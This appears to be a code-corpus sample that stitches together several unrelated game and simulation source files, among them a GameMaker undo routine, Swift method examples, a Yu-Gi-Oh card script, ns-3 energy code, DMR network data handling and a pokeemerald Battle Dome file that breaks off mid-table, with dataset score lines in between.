/// action_tl_parent(parent, index) /// @arg parent /// @arg index function action_tl_parent(par, index) { if (history_undo) { with (history_data) { for (var t = 0; t < tl_amount; t++) { with (save_id_find(tl_save_id[t])) { tl_set_parent(save_id_find(other.tl_old_parent_save_id[t]), other.tl_old_parent_tree_index[t]) value[e_value.POS_X] = other.tl_old_x[t] value[e_value.POS_Y] = other.tl_old_y[t] value[e_value.POS_Z] = other.tl_old_z[t] } } } } else { var hobj; hobj = null if (history_redo) { par = save_id_find(history_data.new_parent) index = history_data.new_index } else { if (par = null) par = app hobj = history_set(action_tl_parent) with (hobj) { new_parent = save_id_get(par) new_index = index tl_amount = 0 } } with (obj_timeline) moved = false action_tl_parent_tree(hobj, par, index) with (timeline_move_obj) action_tl_parent_tree(hobj, par, index) } tl_update_list() tl_update_matrix() }
0
0.890645
1
0.890645
game-dev
MEDIA
0.520509
game-dev
0.95871
1
0.95871
sleekbyte/tailor
2,615
src/test/swift/com/sleekbyte/tailor/grammar/Methods.swift
class Counter { var count = 0 func increment() { ++count } func incrementBy(amount: Int) { count += amount } func reset() { count = 0 } } class Counter { var count: Int = 0 func incrementBy(amount: Int, numberOfTimes: Int) { count += amount * numberOfTimes } } let counter = Counter() counter.incrementBy(5, numberOfTimes: 3) struct Point { var x = 0.0, y = 0.0 func isToTheRightOfX(x: Double) -> Bool { return self.x > x } } let somePoint = Point(x: 4.0, y: 5.0) if somePoint.isToTheRightOfX(1.0) { print("This point is to the right of the line where x == 1.0") } struct Point { var x = 0.0, y = 0.0 mutating func moveByX(deltaX: Double, y deltaY: Double) { x += deltaX y += deltaY } } var somePoint = Point(x: 1.0, y: 1.0) somePoint.moveByX(2.0, y: 3.0) print("The point is now at (\(somePoint.x), \(somePoint.y))") struct Point { var x = 0.0, y = 0.0 mutating func moveByX(deltaX: Double, y deltaY: Double) { self = Point(x: x + deltaX, y: y + deltaY) } } enum TriStateSwitch { case Off, Low, High mutating func next() { switch self { case Off: self = Low case Low: self = High case High: self = Off } } } var ovenLight = TriStateSwitch.Low ovenLight.next() // ovenLight is now equal to .High ovenLight.next() class SomeClass { class func someTypeMethod() { // type method implementation goes here } } SomeClass.someTypeMethod() struct LevelTracker { static var highestUnlockedLevel = 1 static func unlockLevel(level: Int) { if level > highestUnlockedLevel { highestUnlockedLevel = level } } static func levelIsUnlocked(level: Int) -> Bool { return level <= highestUnlockedLevel } var currentLevel = 1 mutating func advanceToLevel(level: Int) -> Bool { if LevelTracker.levelIsUnlocked(level) { currentLevel = level return true } else { return false } } } class Player { var tracker = LevelTracker() let playerName: String func completedLevel(level: Int) { LevelTracker.unlockLevel(level + 1) tracker.advanceToLevel(level + 1) } init(name: String) { playerName = name } } var player = Player(name: "Argyrios") player.completedLevel(1) player = Player(name: "Beto") if player.tracker.advanceToLevel(6) { print("player is now on level 6") } else { print("level 6 has not yet been unlocked") }
0
0.839787
1
0.839787
game-dev
MEDIA
0.478667
game-dev
0.616
1
0.616
DeltaV-Station/Delta-v
1,771
Content.Shared/Access/Systems/SharedAccessOverriderSystem.cs
using Content.Shared.Access.Components; using Content.Shared.Containers.ItemSlots; using Content.Shared.DoAfter; using JetBrains.Annotations; using Robust.Shared.Serialization; namespace Content.Shared.Access.Systems { [UsedImplicitly] public abstract partial class SharedAccessOverriderSystem : EntitySystem { [Dependency] private readonly ItemSlotsSystem _itemSlotsSystem = default!; [Dependency] private readonly ILogManager _log = default!; public const string Sawmill = "accessoverrider"; protected ISawmill _sawmill = default!; public override void Initialize() { base.Initialize(); _sawmill = _log.GetSawmill(Sawmill); SubscribeLocalEvent<AccessOverriderComponent, ComponentInit>(OnComponentInit); SubscribeLocalEvent<AccessOverriderComponent, ComponentRemove>(OnComponentRemove); } private void OnComponentInit(EntityUid uid, AccessOverriderComponent component, ComponentInit args) { _itemSlotsSystem.AddItemSlot(uid, AccessOverriderComponent.PrivilegedIdCardSlotId, component.PrivilegedIdSlot); } private void OnComponentRemove(EntityUid uid, AccessOverriderComponent component, ComponentRemove args) { _itemSlotsSystem.RemoveItemSlot(uid, component.PrivilegedIdSlot); } [Serializable, NetSerializable] public sealed partial class AccessOverriderDoAfterEvent : DoAfterEvent { public AccessOverriderDoAfterEvent() { } public override DoAfterEvent Clone() => this; } } } [ByRefEvent] public record struct OnAccessOverriderAccessUpdatedEvent(EntityUid UserUid, bool Handled = false);
0
0.86855
1
0.86855
game-dev
MEDIA
0.598793
game-dev
0.711419
1
0.711419
ProjectIgnis/CardScripts
2,017
unofficial/c511000441.lua
--ドラゴン・ハート --Dragon Heart local s,id=GetID() function s.initial_effect(c) --1 Dragon-Type monster you control gains 1000 ATK until the End Phase local e1=Effect.CreateEffect(c) e1:SetDescription(aux.Stringid(id,0)) e1:SetCategory(CATEGORY_ATKCHANGE) e1:SetType(EFFECT_TYPE_ACTIVATE) e1:SetProperty(EFFECT_FLAG_CARD_TARGET) e1:SetCode(EVENT_FREE_CHAIN) e1:SetCost(s.cost) e1:SetTarget(s.target) e1:SetOperation(s.activate) c:RegisterEffect(e1) end function s.costfilter(c) return c:IsRace(RACE_DRAGON) and c:IsAbleToGraveAsCost() end function s.cost(e,tp,eg,ep,ev,re,r,rp,chk) if chk==0 then return Duel.GetActivityCount(tp,ACTIVITY_NORMALSUMMON)==0 and Duel.GetActivityCount(tp,ACTIVITY_SPSUMMON)==0 and Duel.IsExistingMatchingCard(s.costfilter,tp,LOCATION_DECK,0,3,nil) end Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_TOGRAVE) local g=Duel.SelectMatchingCard(tp,s.costfilter,tp,LOCATION_DECK,0,3,3,nil) Duel.SendtoGrave(g,REASON_COST) --Cannot Normal or Special Summon the turn you activate this card local e1=Effect.CreateEffect(e:GetHandler()) e1:SetType(EFFECT_TYPE_FIELD) e1:SetProperty(EFFECT_FLAG_PLAYER_TARGET+EFFECT_FLAG_OATH) e1:SetCode(EFFECT_CANNOT_SUMMON) e1:SetReset(RESET_PHASE|PHASE_END) e1:SetTargetRange(1,0) Duel.RegisterEffect(e1,tp) local e2=e1:Clone() e2:SetCode(EFFECT_CANNOT_SPECIAL_SUMMON) Duel.RegisterEffect(e2,tp) end function s.targetfilter(c) return c:IsFaceup() and c:IsRace(RACE_DRAGON) end function s.target(e,tp,eg,ep,ev,re,r,rp,chk,chkc) if chkc then return chkc:IsLocation(LOCATION_MZONE) and chkc:IsControler(tp) and s.targetfilter(chkc) end if chk==0 then return Duel.IsExistingTarget(s.targetfilter,tp,LOCATION_MZONE,0,1,nil) end Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_ATKDEF) Duel.SelectTarget(tp,s.targetfilter,tp,LOCATION_MZONE,0,1,1,nil) end function s.activate(e,tp,eg,ep,ev,re,r,rp) local c=e:GetHandler() local tc=Duel.GetFirstTarget() if tc:IsRelateToEffect(e) and tc:IsFaceup() then tc:UpdateAttack(1000,RESETS_STANDARD_PHASE_END,c) end end
0
0.940583
1
0.940583
game-dev
MEDIA
0.994387
game-dev
0.921042
1
0.921042
signetlabdei/quic-ns-3
4,173
src/energy/helper/energy-harvester-container.cc
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */ /* * Copyright (c) 2014 Wireless Communications and Networking Group (WCNG), * University of Rochester, Rochester, NY, USA. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation; * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Author: Cristiano Tapparello <cristiano.tapparello@rochester.edu> */ #include "energy-harvester-container.h" #include "ns3/names.h" #include "ns3/log.h" namespace ns3 { NS_LOG_COMPONENT_DEFINE ("EnergyHarvesterContainer"); NS_OBJECT_ENSURE_REGISTERED (EnergyHarvesterContainer); TypeId EnergyHarvesterContainer::GetTypeId (void) { static TypeId tid = TypeId ("ns3::EnergyHarvesterContainer") .SetParent<Object> () .SetGroupName ("Energy") .AddConstructor<EnergyHarvesterContainer> () ; return tid; } EnergyHarvesterContainer::EnergyHarvesterContainer () { NS_LOG_FUNCTION (this); } EnergyHarvesterContainer::~EnergyHarvesterContainer () { NS_LOG_FUNCTION (this); } EnergyHarvesterContainer::EnergyHarvesterContainer (Ptr<EnergyHarvester> harvester) { NS_LOG_FUNCTION (this << harvester); NS_ASSERT (harvester != 0); m_harvesters.push_back (harvester); } EnergyHarvesterContainer::EnergyHarvesterContainer (std::string harvesterName) { NS_LOG_FUNCTION (this << harvesterName); Ptr<EnergyHarvester> harvester = Names::Find<EnergyHarvester> (harvesterName); NS_ASSERT (harvester != 0); m_harvesters.push_back (harvester); } EnergyHarvesterContainer::EnergyHarvesterContainer (const EnergyHarvesterContainer &a, const EnergyHarvesterContainer &b) { NS_LOG_FUNCTION (this << &a << &b); *this = a; Add (b); } EnergyHarvesterContainer::Iterator EnergyHarvesterContainer::Begin (void) const { NS_LOG_FUNCTION (this); return m_harvesters.begin (); } EnergyHarvesterContainer::Iterator EnergyHarvesterContainer::End (void) const { NS_LOG_FUNCTION (this); return m_harvesters.end (); } uint32_t EnergyHarvesterContainer::GetN (void) const { NS_LOG_FUNCTION (this); return m_harvesters.size (); } Ptr<EnergyHarvester> EnergyHarvesterContainer::Get (uint32_t i) const { NS_LOG_FUNCTION (this << i); return m_harvesters[i]; } void EnergyHarvesterContainer::Add (EnergyHarvesterContainer container) { NS_LOG_FUNCTION (this << &container); for (Iterator i = container.Begin (); i != container.End (); i++) { m_harvesters.push_back (*i); } } void EnergyHarvesterContainer::Add (Ptr<EnergyHarvester> harvester) { NS_LOG_FUNCTION (this << harvester); NS_ASSERT (harvester != 0); m_harvesters.push_back (harvester); } void EnergyHarvesterContainer::Add (std::string harvesterName) { NS_LOG_FUNCTION (this << harvesterName); Ptr<EnergyHarvester> harvester = Names::Find<EnergyHarvester> (harvesterName); NS_ASSERT (harvester != 0); m_harvesters.push_back (harvester); } void EnergyHarvesterContainer::Clear (void) { NS_LOG_FUNCTION (this); m_harvesters.clear (); } /* * Private functions start here. */ void EnergyHarvesterContainer::DoDispose (void) { // call Object::Dispose for all EnergyHarvester objects for (std::vector< Ptr<EnergyHarvester> >::iterator i = m_harvesters.begin (); i != m_harvesters.end (); i++) { (*i)->Dispose (); } m_harvesters.clear (); } void EnergyHarvesterContainer::DoInitialize (void) { // call Object::Initialize for all EnergyHarvester objects for (std::vector< Ptr<EnergyHarvester> >::iterator i = m_harvesters.begin (); i != m_harvesters.end (); i++) { (*i)->Initialize (); } } } // namespace ns3
0
0.958731
1
0.958731
game-dev
MEDIA
0.708984
game-dev,networking
0.803994
1
0.803994
DVMProject/dvmhost
2,510
src/common/dmr/data/NetData.cpp
// SPDX-License-Identifier: GPL-2.0-only /* * Digital Voice Modem - Common Library * GPLv2 Open Source. Use is subject to license terms. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * Copyright (C) 2015,2016 Jonathan Naylor, G4KLX * Copyright (C) 2024-2025 Bryan Biedenkapp, N2PLL * */ #include "Defines.h" #include "dmr/DMRDefines.h" #include "dmr/data/NetData.h" using namespace dmr; using namespace dmr::defines; using namespace dmr::data; #include <cstring> #include <cassert> // --------------------------------------------------------------------------- // Public Class Members // --------------------------------------------------------------------------- /* Initializes a new instance of the NetData class. */ NetData::NetData(const NetData& data) : m_slotNo(data.m_slotNo), m_srcId(data.m_srcId), m_dstId(data.m_dstId), m_flco(data.m_flco), m_control(data.m_control), m_n(data.m_n), m_seqNo(data.m_seqNo), m_dataType(data.m_dataType), m_ber(data.m_ber), m_rssi(data.m_rssi), m_data(nullptr) { m_data = new uint8_t[2U * DMR_FRAME_LENGTH_BYTES]; ::memcpy(m_data, data.m_data, 2U * DMR_FRAME_LENGTH_BYTES); } /* Initializes a new instance of the NetData class. */ NetData::NetData() : m_slotNo(1U), m_srcId(0U), m_dstId(0U), m_flco(FLCO::GROUP), m_control(0U), m_n(0U), m_seqNo(0U), m_dataType(DataType::IDLE), m_ber(0U), m_rssi(0U), m_data(nullptr) { m_data = new uint8_t[2U * DMR_FRAME_LENGTH_BYTES]; } /* Finalizes a instance of the NetData class. */ NetData::~NetData() { delete[] m_data; } /* Equals operator. */ NetData& NetData::operator=(const NetData& data) { if (this != &data) { ::memcpy(m_data, data.m_data, DMR_FRAME_LENGTH_BYTES); m_slotNo = data.m_slotNo; m_srcId = data.m_srcId; m_dstId = data.m_dstId; m_flco = data.m_flco; m_control = data.m_control; m_dataType = data.m_dataType; m_seqNo = data.m_seqNo; m_n = data.m_n; m_ber = data.m_ber; m_rssi = data.m_rssi; } return *this; } /* Sets raw data. */ void NetData::setData(const uint8_t* buffer) { assert(buffer != nullptr); ::memcpy(m_data, buffer, DMR_FRAME_LENGTH_BYTES); } /* Gets raw data. */ uint32_t NetData::getData(uint8_t* buffer) const { assert(buffer != nullptr); ::memcpy(buffer, m_data, DMR_FRAME_LENGTH_BYTES); return DMR_FRAME_LENGTH_BYTES; }
0
0.962706
1
0.962706
game-dev
MEDIA
0.2672
game-dev
0.788847
1
0.788847
BluRosie/hg-engine
1,838
data/battle_scripts/subscripts/subscript_0293_CHECK_SHAYMIN_FORM.s
.include "asm/include/battle_commands.inc" .data _000: CompareVarToValue OPCODE_EQU, BSCRIPT_VAR_BATTLER_TARGET, BATTLER_NONE, _097 CompareMonDataToValue OPCODE_NEQ, BATTLER_CATEGORY_DEFENDER, BMON_DATA_SPECIES, 492, _097 CompareMonDataToValue OPCODE_EQU, BATTLER_CATEGORY_DEFENDER, BMON_DATA_FORM, 0, _097 CompareMonDataToValue OPCODE_FLAG_SET, BATTLER_CATEGORY_DEFENDER, BMON_DATA_STATUS2, STATUS2_SUBSTITUTE, _097 CompareMonDataToValue OPCODE_NEQ, BATTLER_CATEGORY_DEFENDER, BMON_DATA_STATUS, STATUS_FREEZE, _097 UpdateMonData OPCODE_SET, BATTLER_CATEGORY_DEFENDER, BMON_DATA_FORM, 0 UpdateVar OPCODE_SET, BSCRIPT_VAR_TEMP_DATA, 0 CompareMonDataToValue OPCODE_FLAG_SET, BATTLER_CATEGORY_DEFENDER, BMON_DATA_PERSONALITY, 1, _049 LoadArchivedMonData SPECIES_SHAYMIN, BSCRIPT_VAR_TEMP_DATA, BASE_ABILITY_1 GoTo _062 _049: LoadArchivedMonData SPECIES_SHAYMIN, BSCRIPT_VAR_TEMP_DATA, BASE_ABILITY_2 CompareVarToValue OPCODE_NEQ, BSCRIPT_VAR_TEMP_DATA, 0, _062 LoadArchivedMonData SPECIES_SHAYMIN, BSCRIPT_VAR_TEMP_DATA, BASE_ABILITY_1 _062: UpdateVar OPCODE_FLAG_ON, BSCRIPT_VAR_BATTLE_STATUS_2, BATTLE_STATUS2_RECALC_MON_STATS UpdateMonDataFromVar OPCODE_SET, BATTLER_CATEGORY_DEFENDER, BMON_DATA_ABILITY, BSCRIPT_VAR_CALC_TEMP LoadArchivedMonData SPECIES_SHAYMIN, BSCRIPT_VAR_TEMP_DATA, BASE_TYPE1 UpdateMonDataFromVar OPCODE_SET, BATTLER_CATEGORY_DEFENDER, BMON_DATA_TYPE_1, BSCRIPT_VAR_CALC_TEMP LoadArchivedMonData SPECIES_SHAYMIN, BSCRIPT_VAR_TEMP_DATA, BASE_TYPE2 UpdateMonDataFromVar OPCODE_SET, BATTLER_CATEGORY_DEFENDER, BMON_DATA_TYPE_2, BSCRIPT_VAR_CALC_TEMP UpdateVarFromVar OPCODE_SET, BSCRIPT_VAR_MSG_BATTLER_TEMP, BSCRIPT_VAR_BATTLER_TARGET Call BATTLE_SUBSCRIPT_FORM_CHANGE RefreshMonData BATTLER_CATEGORY_DEFENDER _097: End
0
0.69868
1
0.69868
game-dev
MEDIA
0.869344
game-dev
0.750048
1
0.750048
resetes12/pokeemerald
261,060
src/battle_dome.c
#include "global.h" #include "battle_dome.h" #include "battle.h" #include "battle_main.h" #include "battle_setup.h" #include "battle_tower.h" #include "frontier_util.h" #include "battle_message.h" #include "event_data.h" #include "overworld.h" #include "util.h" #include "malloc.h" #include "string_util.h" #include "random.h" #include "task.h" #include "main.h" #include "gpu_regs.h" #include "text.h" #include "bg.h" #include "window.h" #include "strings.h" #include "palette.h" #include "decompress.h" #include "party_menu.h" #include "menu.h" #include "sound.h" #include "pokemon_icon.h" #include "data.h" #include "international_string_util.h" #include "trainer_pokemon_sprites.h" #include "scanline_effect.h" #include "script_pokemon_util.h" #include "graphics.h" #include "constants/battle_dome.h" #include "constants/frontier_util.h" #include "constants/moves.h" #include "constants/trainers.h" #include "constants/abilities.h" #include "constants/songs.h" #include "constants/battle_frontier.h" #include "constants/rgb.h" #define TAG_BUTTONS 0 // Enough space to hold 2 match info cards worth of trainers and their parties #define NUM_INFOCARD_SPRITES ((FRONTIER_PARTY_SIZE + 1) * 4) #define NUM_INFOCARD_TRAINERS 2 // An 'Info Card' is a trainer or match information page that can be viewed on the Tourney Tree struct TourneyTreeInfoCard { u8 spriteIds[NUM_INFOCARD_SPRITES]; u8 pos; u8 tournamentIds[NUM_INFOCARD_TRAINERS]; }; struct TourneyTreeLineSection { u8 x; u8 y; u16 tile; }; #define DOME_TRAINERS gSaveBlock2Ptr->frontier.domeTrainers #define DOME_MONS gSaveBlock2Ptr->frontier.domeMonIds #define tState data[0] // Task data for Task_ShowTourneyTree #define tNotInteractive data[1] #define tIsPrevTourneyTree data[4] // Task data for Task_ShowTourneyInfoCard #define tTournamentId data[1] #define tMode data[2] #define tPrevTaskId data[3] #define EFFECTIVENESS_MODE_GOOD 0 #define EFFECTIVENESS_MODE_BAD 1 #define EFFECTIVENESS_MODE_AI_VS_AI 2 static u8 GetDomeTrainerMonIvs(u16); static void SwapDomeTrainers(int, int, u16 *); static void CalcDomeMonStats(u16, int, int, u8, u8, int *); static void CreateDomeOpponentMons(u16); static int SelectOpponentMons_Good(u16, bool8); static int SelectOpponentMons_Bad(u16, bool8); static int GetTypeEffectivenessPoints(int, int, int); static int SelectOpponentMonsFromParty(int *, bool8); static void Task_ShowTourneyInfoCard(u8); static void Task_HandleInfoCardInput(u8); static u8 Task_GetInfoCardInput(u8); static void SetFacilityTrainerAndMonPtrs(void); static int TrainerIdToTournamentId(u16); static u16 TrainerIdOfPlayerOpponent(void); static void Task_ShowTourneyTree(u8); static void Task_HandleStaticTourneyTreeInput(u8); static void CB2_TourneyTree(void); static void VblankCb_TourneyInfoCard(void); static void DisplayMatchInfoOnCard(u8, u8); static void DisplayTrainerInfoOnCard(u8, u8); static int BufferDomeWinString(u8, u8 *); static u8 GetDomeBrainTrainerPicId(void); static u8 GetDomeBrainTrainerClass(void); static void CopyDomeBrainTrainerName(u8 *); static void CopyDomeTrainerName(u8 *, u16); static void HblankCb_TourneyTree(void); static void VblankCb_TourneyTree(void); static u8 UpdateTourneyTreeCursor(u8); static void DecideRoundWinners(u8); static u8 GetOpposingNPCTournamentIdByRound(u8, u8); static void DrawTourneyAdvancementLine(u8, u8); static void SpriteCB_HorizontalScrollArrow(struct Sprite *); static void SpriteCB_VerticalScrollArrow(struct Sprite *); static void InitDomeChallenge(void); static void GetDomeData(void); static void SetDomeData(void); static void BufferDomeRoundText(void); static void BufferDomeOpponentName(void); static void InitDomeOpponentParty(void); static void ShowDomeOpponentInfo(void); static void ShowDomeTourneyTree(void); static void ShowPreviousDomeTourneyTree(void); static void SetDomeOpponentId(void); static void SetDomeOpponentGraphicsId(void); static void ShowNonInteractiveDomeTourneyTree(void); static void ResolveDomeRoundWinners(void); static void SaveDomeChallenge(void); static void IncrementDomeStreaks(void); static void ResetSketchedMoves(void); static void RestoreDomePlayerPartyHeldItems(void); static void ReduceDomePlayerPartyToSelectedMons(void); static void GetPlayerSeededBeforeOpponent(void); static void BufferLastDomeWinnerName(void); static void InitRandomTourneyTreeResults(void); static void InitDomeTrainers(void); EWRAM_DATA u32 gPlayerPartyLostHP = 0; // never read static EWRAM_DATA u32 sPlayerPartyMaxHP = 0; // never read static EWRAM_DATA struct TourneyTreeInfoCard *sInfoCard = {0}; static EWRAM_DATA u8 *sTilemapBuffer = NULL; // Each move has an array of points for different move characteristics which contribute to a tourney trainers listed battle style (see sBattleStyleThresholds) // All move points are either 1 or 0, so theyre essentially flags saying whether or not the move has that characteristic static const u8 sBattleStyleMovePoints[MOVES_COUNT][NUM_MOVE_POINT_TYPES] = { [MOVE_NONE] = {0}, [MOVE_POUND] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_KARATE_CHOP] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_DOUBLE_SLAP] = {[MOVE_POINTS_DMG] = 1}, [MOVE_COMET_PUNCH] = {[MOVE_POINTS_DMG] = 1}, [MOVE_MEGA_PUNCH] = {[MOVE_POINTS_DMG] = 1}, [MOVE_PAY_DAY] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_FIRE_PUNCH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_ICE_PUNCH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_THUNDER_PUNCH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SCRATCH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_VICE_GRIP] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_GUILLOTINE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_RAZOR_WIND] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SWORDS_DANCE] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_POPULAR] = 1}, [MOVE_CUT] = {[MOVE_POINTS_DMG] = 1}, [MOVE_GUST] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_WING_ATTACK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_WHIRLWIND] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FLY] = {[MOVE_POINTS_DMG] = 1}, [MOVE_BIND] = {[MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SLAM] = {[MOVE_POINTS_DMG] = 1}, [MOVE_VINE_WHIP] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_STOMP] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_DOUBLE_KICK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_MEGA_KICK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_JUMP_KICK] = {[MOVE_POINTS_DMG] = 1}, [MOVE_ROLLING_KICK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SAND_ATTACK] = {[MOVE_POINTS_STAT_LOWER] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_HEADBUTT] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_HORN_ATTACK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FURY_ATTACK] = {[MOVE_POINTS_DMG] = 1}, [MOVE_HORN_DRILL] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_TACKLE] = {[MOVE_POINTS_DMG] = 1}, [MOVE_BODY_SLAM] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_WRAP] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_TAKE_DOWN] = {[MOVE_POINTS_DMG] = 1}, [MOVE_THRASH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_DOUBLE_EDGE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_TAIL_WHIP] = {[MOVE_POINTS_STAT_LOWER] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_POISON_STING] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_TWINEEDLE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_PIN_MISSILE] = {[MOVE_POINTS_DMG] = 1}, [MOVE_LEER] = {[MOVE_POINTS_STAT_LOWER] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_BITE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_GROWL] = {[MOVE_POINTS_STAT_LOWER] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_ROAR] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_SING] = {[MOVE_POINTS_STATUS] = 1}, [MOVE_SUPERSONIC] = {[MOVE_POINTS_STATUS] = 1}, [MOVE_SONIC_BOOM] = {[MOVE_POINTS_DMG] = 1}, [MOVE_DISABLE] = {[MOVE_POINTS_STATUS] = 1}, [MOVE_ACID] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_EMBER] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_FLAMETHROWER] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POPULAR] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_MIST] = {0}, [MOVE_WATER_GUN] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_HYDRO_PUMP] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_SURF] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POPULAR] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_ICE_BEAM] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POPULAR] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_BLIZZARD] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_PSYBEAM] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_BUBBLE_BEAM] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_AURORA_BEAM] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_HYPER_BEAM] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_POPULAR] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_PECK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_DRILL_PECK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SUBMISSION] = {[MOVE_POINTS_DMG] = 1}, [MOVE_LOW_KICK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_COUNTER] = {[MOVE_POINTS_DEF] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LUCK] = 1}, [MOVE_SEISMIC_TOSS] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_STRENGTH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_ABSORB] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_MEGA_DRAIN] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_LEECH_SEED] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_STATUS] = 1}, [MOVE_GROWTH] = 